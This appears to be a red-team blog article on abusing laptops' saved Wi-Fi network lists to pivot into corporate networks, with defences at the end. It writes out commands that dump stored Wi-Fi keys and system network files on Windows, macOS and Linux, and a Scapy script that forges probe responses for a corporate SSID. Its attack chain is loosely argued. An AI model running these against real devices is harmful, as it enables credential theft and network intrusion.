Even the most secure wireless deployments — including EAP-TLS with client certificate validation — can become entry points when endpoints are exploited in less secure environments. Here’s how wireless pivots work, and why your mobile devices may be betraying you.

The Trusted Network Problem

Enterprise wireless deployments often use 802.1X authentication (WPA2-Enterprise) to verify device and user identity before granting network access. Done correctly with mutual certificate authentication, this is solid.

The weakness isn’t the protocol. It’s the endpoints.

When a laptop leaves the office and connects to a hotel Wi-Fi, a coffee shop, or even a compromised home network, its Preferred Network List (PNL) continues to broadcast for every network it’s ever trusted. If an attacker can position a rogue AP matching any of those SSIDs, the device may automatically associate.

The Attack Chain

1. Compromise a device on a low-security network (hotel, café, conference)
2. Read the device's Preferred Network List
3. Identify corporate SSIDs in the PNL
4. Build a rogue AP broadcasting that corporate SSID
5. Device associates automatically
6. Pivot: attacker now has a foothold on a trusted machine
   with access to corporate credentials, VPN configs, certs

Reading the PNL

On Windows:

1
2

netsh wlan show profiles
netsh wlan show profile name="CorpWifi" key=clear

On macOS:

1
2

/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I
sudo defaults read /Library/Preferences/SystemConfiguration/com.apple.airport.preferences

On Linux:

1

cat /etc/NetworkManager/system-connections/*.nmconnection

Abusing Auto-Connect

Once you have target SSIDs, a directed probe response can trigger auto-association:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

from scapy.all import *
import time

target_ssid = "CorpWifi"
attacker_mac = "aa:bb:cc:dd:ee:ff"

# Craft a probe response to trigger association
probe_resp = (
    RadioTap() /
    Dot11(type=0, subtype=5, addr1="ff:ff:ff:ff:ff:ff",
          addr2=attacker_mac, addr3=attacker_mac) /
    Dot11ProbeResp(timestamp=int(time.time()), beacon_interval=100, cap=0x2104) /
    Dot11Elt(ID="SSID", info=target_ssid) /
    Dot11Elt(ID="Rates", info=b"\x82\x84\x8b\x96\x0c\x12\x18\x24")
)

sendp(probe_resp, iface="wlan0mon", count=5, inter=0.1)

Defences

For organisations:

  • Enforce MFP (802.11w Management Frame Protection) on all corporate SSIDs
  • Deploy MDM policies that disable auto-connect to open/unknown networks
  • Use certificate pinning so clients reject APs without valid server certs
  • Monitor for rogue APs broadcasting your SSID

For individuals:

  • Disable auto-connect to networks you don’t actively manage
  • Use a VPN that activates automatically on untrusted networks
  • Audit your PNL periodically: netsh wlan delete profile name="OldCafeWifi"

The wireless pivot is one of the more underestimated techniques in a red team’s toolkit. The machine that just left your building is now your biggest attack surface.